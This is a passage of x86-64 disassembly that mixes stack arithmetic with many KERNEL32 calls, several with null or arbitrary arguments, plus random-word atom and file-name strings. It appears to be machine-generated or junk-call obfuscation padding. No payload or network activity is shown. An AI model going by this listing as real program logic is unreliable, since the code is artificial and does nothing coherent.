mov qword [rsp + 0xaad8], rax
mov rax, qword [rsp + 0xa6d8]
mov rcx, qword [rsp + 0x9fb0]
mov qword [rsp + 0xaae0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaae0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa5a0], rax
lea rax, [rsp + 0xb64]
mov qword [0x1401e7708], rax
lea rcx, [rsp + 0x2a120]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x44a0], eax
lea rdx, [rsp + 0x28340]
mov rcx, qword [rsp + 0x9970]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4514], eax
mov rax, qword [rsp + 0xa9c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa038]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x99a0]
mov byte [rcx], al
lea rax, [rsp + 0x73]
mov qword [rsp + 0xaae8], rax
lea rcx, [rsp + 0x25570]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsp + 0x9818]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb70]
or eax, ecx
mov rcx, qword [rsp + 0xa338]
mov word [rcx], ax
mov rax, qword [rsp + 0x9cc0]
movzx eax, byte [rax]
mov byte [rsp + 0xf5], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa6f8], rax
movzx ecx, word [rsp + 0xeac]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xed4], ax
mov eax, dword [0x1401e741c]
mov rcx, qword [rsp + 0xa068]
mov qword [rsp + 0xaaf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaaf0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4600], eax
mov rax, qword [rsp + 0x9010]
mov rcx, qword [rsp + 0x8cc0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9318], rax
mov rax, qword [rsp + 0xa748]
mov eax, dword [rax]
mov dword [rsp + 0x47a8], eax
mov rax, qword [rsp + 0x9348]
mov rcx, qword [rsp + 0x93d0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa778]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9930]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9868]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e604f], al
lea rax, [rsp + 0xc78]
mov qword [rsp + 0xaaf8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x95d8]
movzx eax, byte [rax]
mov rcx, qword [0x1401e7518]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa460]
mov byte [rcx], al
movsx eax, word [rsp + 0xbf0]
mov rcx, qword [rsp + 0x9750]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa880]
mov word [rcx], ax
lea rax, [rsp + 0xe98]
mov qword [rsp + 0xab00], rax
mov rax, qword [rsp + 0x9e78]
mov rcx, qword [rsp + 0xa5b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9730], rax
mov eax, dword [rsp + 0x4488]
mov dword [rsp + 0x47ac], eax
mov rax, qword [rsp + 0xa9d0]
mov rcx, qword [rsp + 0xa558]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa3f0], rax
mov rax, qword [rsp + 0x9d58]
mov eax, dword [rax]
mov dword [rsp + 0x47b0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa0f8], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x46b8], eax
mov dword [rsp + 0x20], 0x2496
mov r9d, 0x3f82
mov r8d, 0x1d2e
mov edx, 0x1ab0
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x47b4], eax
movzx eax, word [rsp + 0xe40]
mov rcx, qword [rsp + 0x9f98]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x1401e60bc], ax
movsx eax, word [rsp + 0xe48]
mov rcx, qword [rsp + 0xa468]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xcc8], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
movzx eax, byte [0x1401e603a]
mov rcx, qword [rsp + 0x97e0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf4], al
movzx ecx, word [rsp + 0xb7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc54], ax
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x99]
mov qword [rsp + 0xab08], rax
mov rax, qword [rsp + 0xaab8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xd2]
add eax, ecx
mov byte [rsp + 0xbf], al
lea rax, [0x1401e6014]
mov qword [rsp + 0xab10], rax
mov rax, qword [rsp + 0x8db8]
mov rcx, qword [rsp + 0x9e60]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa520]
mov qword [rcx], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x47b8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov eax, dword [rsp + 0x424c]
mov ecx, dword [rsp + 0x4594]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9658]
mov dword [rcx], eax
mov rax, qword [rsp + 0x95e0]
mov rax, qword [rax]
mov qword [rsp + 0xab18], rax
movsx eax, word [rsp + 0xc88]
mov rcx, qword [rsp + 0xa560]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xaa70]
mov word [rcx], ax
movzx eax, byte [rsp + 0x81]
mov rcx, qword [rsp + 0x8e68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e604f], al
mov rax, qword [0x1401e7648]
movzx eax, byte [rax]
mov byte [rsp + 0xf6], al
movzx eax, word [rsp + 0xc18]
movzx ecx, word [rsp + 0xd6c]
cdq
idiv ecx
mov word [rsp + 0xdc8], ax
movzx ecx, word [rsp + 0xb7c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd60], ax
movzx eax, byte [rsp + 0xe8]
movzx ecx, byte [rsp + 0x7c]
and eax, ecx
mov rcx, qword [rsp + 0x90b8]
mov byte [rcx], al
mov eax, dword [rsp + 0x463c]
mov dword [rsp + 0x47bc], eax
mov rax, qword [rsp + 0xa3e8]
mov ecx, dword [rsp + 0x4528]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x4714], eax
lea rax, [rsp + 0x9e00]
mov qword [rsp + 0xab20], rax
mov rax, qword [rsp + 0xa8f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa160]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaa90], rax
movsx eax, byte [rsp + 0x8f]
movsx ecx, byte [rsp + 0x96]
add eax, ecx
mov byte [rsp + 0x99], al
mov rax, qword [rsp + 0x9310]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9430]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401e74f8]
mov word [rcx], ax
lea rax, [rsp + 0xbb8]
mov qword [rsp + 0xab28], rax
movsx eax, word [rsp + 0xce0]
movsx ecx, word [rsp + 0xe38]
add eax, ecx
mov word [rsp + 0xbc8], ax
mov rax, qword [rsp + 0xa4d0]
movzx eax, byte [rax]
mov byte [rsp + 0xf7], al
mov eax, dword [rsp + 0x4714]
mov ecx, dword [0x1401e6014]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa808]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa4f8]
mov eax, dword [rax]
mov dword [rsp + 0x47c0], eax
mov rax, qword [rsp + 0x95d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9998]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e48], rax
mov rax, qword [rsp + 0x8da0]
mov rcx, qword [rsp + 0xa330]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x98a8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
movzx eax, byte [rsp + 0xce]
mov byte [rsp + 0xf8], al
mov rax, qword [rsp + 0xa188]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x86]
add eax, ecx
mov byte [0x1401e6063], al
movsx eax, byte [rsp + 0xdd]
mov rcx, qword [rsp + 0x9788]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xb7], al
mov rax, qword [rsp + 0x8e20]
movzx eax, word [rax]
mov word [rsp + 0xed8], ax
mov rax, qword [rsp + 0x9fc0]
movzx eax, word [rax]
movzx ecx, word [0x1401e6030]
xor eax, ecx
mov word [rsp + 0xca8], ax
mov rax, qword [rsp + 0x9a18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8cc0]
mov qword [rsp + 0xab30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab30]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa520]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa5e0]
mov rax, qword [rax]
mov qword [rsp + 0xab38], rax
lea rcx, [rsp + 0x269f8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0x8e98]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x456c]
shl eax, cl
mov dword [rsp + 0x445c], eax
lea rax, [rsp + 0x43e0]
mov qword [rsp + 0xab40], rax
movsx eax, word [rsp + 0xe94]
mov rcx, qword [rsp + 0xa560]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc4c], ax
xor r9d, r9d
lea r8, [rsp + 0x8db0]
mov rdx, qword [rsp + 0xab48]
mov rcx, qword [rsp + 0x8f98]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x43a0], eax
mov rax, qword [rsp + 0xa9a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
and eax, ecx
mov rcx, qword [0x1401e7618]
mov byte [rcx], al
movzx eax, word [rsp + 0xcac]
movzx ecx, word [rsp + 0xc10]
sub eax, ecx
mov word [rsp + 0xc58], ax
lea rax, [rsp + 0xdd8]
mov qword [rsp + 0xab50], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4658], eax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa3], al
lea rax, [rsp + 0xe34]
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0x9c50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4544]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9150]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa210]
mov ecx, dword [rsp + 0x46e0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9068]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov qword [rsp + 0xab60], rax
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0x9c68]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8e10], rax
mov dword [rsp + 0x20], 0x1c85
mov r9d, 0x2dad
mov r8d, 0x1194
mov edx, 0xde
mov rcx, qword [rsp + 0xa638]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4308], eax
mov edx, 0x26c
mov rcx, qword [rsp + 0x9870]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x47c4], eax
movzx ecx, word [rsp + 0xbbc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xb6c], ax
lea rdx, [rsp + 0xab68]
mov rcx, qword [rsp + 0x8d20]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4620], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0xa8e0], rax
lea rax, [rsp + 0xc90]
mov qword [0x1401e7710], rax
mov rax, qword [rsp + 0xa230]
movzx eax, byte [rax]
mov byte [rsp + 0xf9], al
mov rax, qword [rsp + 0x9f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x82]
sub eax, ecx
mov byte [rsp + 0x69], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov rax, qword [rsp + 0x9f58]
movzx eax, word [rax]
mov word [rsp + 0xedc], ax
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x75]
sub eax, ecx
mov byte [rsp + 0xed], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x8e00], rax
mov rax, qword [rsp + 0xa808]
mov rcx, qword [rsp + 0x9950]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9428]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xcd82
mov rcx, qword [rsp + 0xa078]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47c8], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x434c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rcx, qword [rsp + 0xa5b0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x1401e7410]
mov qword [rsp + 0xab70], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
mov eax, dword [rsp + 0x44e8]
mov rcx, qword [rsp + 0xa470]
mov qword [rsp + 0xab78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab78]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4718], eax
mov rax, qword [rsp + 0xa540]
mov rax, qword [rax]
mov qword [rsp + 0xab80], rax
lea rax, [rsp + 0xeb]
mov qword [0x1401e7718], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x4540], eax
movsx eax, byte [rsp + 0xb3]
movsx ecx, byte [rsp + 0xcf]
xor eax, ecx
mov rcx, qword [rsp + 0xa240]
mov byte [rcx], al
mov rax, qword [rsp + 0x95a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd1c]
shl eax, cl
mov word [rsp + 0xc70], ax
lea rax, [rsp + 0xccc]
mov qword [rsp + 0xab88], rax
movzx eax, byte [0x1401e603f]
movzx ecx, byte [rsp + 0x8c]
or eax, ecx
mov rcx, qword [rsp + 0xa928]
mov byte [rcx], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x8c18]
mov qword [rsp + 0xab90], rax
mov rax, qword [rsp + 0x9438]
mov ecx, dword [0x1401e741c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x44e8], eax
mov rax, qword [rsp + 0x9d58]
mov rcx, qword [rsp + 0x9950]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xaac8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa58]
mov qword [rsp + 0xab98], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetMailslotInfo]
mov rax, qword [rsp + 0xaa68]
movsx eax, word [rax]
mov rcx, qword [0x1401e74c8]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7438], ax
movzx eax, word [rsp + 0xcf0]
mov rcx, qword [rsp + 0x9c20]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9a70]
mov word [rcx], ax
mov rcx, qword [rsp + 0x97e8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xb0]
mov qword [rsp + 0xaba0], rax
movzx eax, word [rsp + 0xe2c]
mov rcx, qword [0x1401e7558]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc8c], ax
movzx eax, byte [rsp + 0x64]
mov byte [rsp + 0xfa], al
mov rcx, qword [rsp + 0x98c8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x43fc], eax
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [rsp + 0x9700]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa5d0]
mov qword [rcx], rax
mov eax, dword [0x1401e6018]
mov ecx, dword [rsp + 0x4428]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x46d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x4640]
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0x9de0]
mov rcx, qword [rsp + 0xa218]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x90c8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa3]
add eax, ecx
mov byte [0x1401e6007], al
mov rcx, qword [rsp + 0x9e20]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rax, [rsp + 0xbc8]
mov qword [rsp + 0xabb0], rax
mov r9d, 0xb7e
xor r8d, r8d
lea rdx, [rsp + 0xa810]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x42dc], eax
lea rcx, str.assuming_reorganise_Brings_parading_intermingled
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xed4], ax
mov rax, qword [rsp + 0x92e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xcb]
add eax, ecx
mov rcx, qword [rsp + 0xa240]
mov byte [rcx], al
mov rax, qword [0x1401e74b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd6c]
add eax, ecx
mov word [rsp + 0xbd8], ax
movzx eax, word [rsp + 0xed8]
mov word [rsp + 0xee0], ax
mov eax, dword [rsp + 0x4688]
movzx ecx, al
mov eax, dword [rsp + 0x4384]
shr eax, cl
mov rcx, qword [rsp + 0x9150]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9968]
mov rax, qword [rax]
mov qword [rsp + 0xabb8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.C:Groped_vettingwithdrawcroonsPluralised
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xabc0], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x441c], eax
mov rax, qword [rsp + 0xa408]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9d48]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x99f8], rax
mov eax, dword [rsp + 0x44b0]
mov rcx, qword [rsp + 0x9ae8]
mov qword [rsp + 0xabc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabc8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4600], eax
lea rax, [0x1401e6078]
mov qword [0x1401e7720], rax
movzx eax, byte [rsp + 0xdf]
mov byte [rsp + 0xfb], al
lea rcx, [rsp + 0x25570]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx eax, byte [rsp + 0xc0]
mov rcx, qword [rsp + 0xa5c0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x61], al
lea rcx, [rsp + 0x9600]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0xa180]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x47cc], eax
lea rcx, str.Unconsoled_temptingly_liberating_derate
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xd9c], ax
mov r9d, 2
lea r8, [rsp + 0x9c60]
mov rdx, qword [rsp + 0xabd0]
mov rcx, qword [rsp + 0xa308]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x43fc], eax
lea rax, [rsp + 0xde4]
mov qword [rsp + 0xabd8], rax
movzx eax, byte [0x1401e6036]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0xa048]
mov rcx, qword [rsp + 0x9e38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4778], eax
lea rax, [0x1401e7420]
mov qword [rsp + 0xabe0], rax
mov rax, qword [rsp + 0x9e80]
mov rcx, qword [rsp + 0x99f8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c18], rax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x44d8], eax
mov rax, qword [rsp + 0x94e8]
mov eax, dword [rax]
mov dword [rsp + 0x47d0], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x8e28], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
lea rdx, [rsp + 0x4638]
mov rcx, qword [rsp + 0x9398]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47d4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
movzx eax, byte [rsp + 0x75]
movzx ecx, byte [rsp + 0x8c]
and eax, ecx
mov rcx, qword [0x1401e7628]
mov byte [rcx], al
movzx eax, byte [rsp + 0xb8]
mov rcx, qword [rsp + 0x9c38]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xcd], al
lea rax, [rsp + 0xde0]
mov qword [rsp + 0xabe8], rax
movzx eax, word [rsp + 0xcf0]
mov rcx, qword [rsp + 0xa338]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9c20]
mov word [rcx], ax
movsx eax, byte [rsp + 0xf3]
movsx ecx, byte [rsp + 0xaf]
sub eax, ecx
mov byte [rsp + 0x73], al
mov rcx, qword [rsp + 0x9870]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0xabf0], rax
mov rax, qword [rsp + 0x9810]
mov rcx, qword [rsp + 0x9c28]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa998]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4444]
mov dword [rsp + 0x47d8], eax
mov rax, qword [rsp + 0x90a0]
mov ecx, dword [rsp + 0x4434]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x8f90]
mov dword [rcx], eax
movzx eax, word [rsp + 0xdec]
mov word [0x1401e7728], ax
movsx eax, word [rsp + 0xdd4]
movsx ecx, word [rsp + 0xd78]
or eax, ecx
mov rcx, qword [rsp + 0xaa08]
mov word [rcx], ax
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0xfc], al
mov dword [rsp + 0x20], 0x3e6
mov r9d, 0x2999
mov r8d, 0x393
mov edx, 0x2fc
mov rcx, qword [rsp + 0x9290]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x47dc], eax
mov rax, qword [rsp + 0xab58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa548]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc28], ax
lea rax, [rsp + 0xce]
mov qword [rsp + 0xabf8], rax
mov eax, dword [rsp + 0x4760]
mov rcx, qword [rsp + 0xa860]
mov qword [rsp + 0xac00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x44f8], eax
mov rax, qword [rsp + 0x9348]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa8d8]
shr rax, cl
mov qword [rsp + 0x9df0], rax
mov rcx, qword [rsp + 0x9768]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4358], eax
mov rax, qword [rsp + 0x9bc8]
mov rax, qword [rax]
mov qword [rsp + 0xac08], rax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
xor edx, edx
mov rax, qword [rsp + 0xa080]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8fc0]
div dword [rcx]
mov dword [rsp + 0x47a8], eax
lea rcx, [rsp + 0x2a080]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x47e0], eax
mov rax, qword [rsp + 0xa2d8]
movzx eax, byte [rax]
mov byte [rsp + 0xfd], al
mov rax, qword [0x1401e7440]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd68]
imul eax, ecx
mov word [0x1401e7678], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x537
mov r9d, 0x2270
mov r8d, 0x15a519d5
mov edx, 1
mov rcx, qword [rsp + 0x9300]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x4768], eax
mov rax, qword [rsp + 0xabe8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9b50]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa468]
mov word [rcx], ax
lea rax, [0x1401e605b]
mov qword [rsp + 0xac10], rax
mov rax, qword [rsp + 0xa960]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xc4]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0x9030]
mov rcx, qword [rsp + 0x91c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9f18]
mov dword [rcx], eax
xor r9d, r9d
lea r8, [rsp + 0x94b8]
mov rdx, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0x9848]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x47e4], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x46a8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x47c4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x96b0], rax
mov rax, qword [rsp + 0xa408]
mov rax, qword [rax]
mov qword [rsp + 0xac18], rax
mov rax, qword [rsp + 0x9e88]
mov rcx, qword [rsp + 0xabb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9610], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x423c]
mov dword [rsp + 0x47e8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x99e8], rax
mov rax, qword [rsp + 0x9080]
movzx eax, word [rax]
mov rcx, qword [0x1401e75e0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbf8], ax
movzx eax, byte [rsp + 0x70]
movzx ecx, byte [rsp + 0xef]
and eax, ecx
mov byte [0x1401e6066], al
movzx ecx, word [rsp + 0xbec]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc94], ax
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x9478], rax
mov rax, qword [rsp + 0x8e18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa790]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x97f8]
mov byte [rcx], al
movzx eax, word [rsp + 0xcac]
mov word [rsp + 0xee4], ax
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9da0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd38], ax
lea rax, [rsp + 0x45d4]
mov qword [rsp + 0xac20], rax
lea rcx, [rsp + 0x26a28]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
mov rcx, qword [0x1401e7420]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9be0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa730]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaa90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x97b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9b80]
mov eax, dword [rax]
mov dword [rsp + 0x47ec], eax
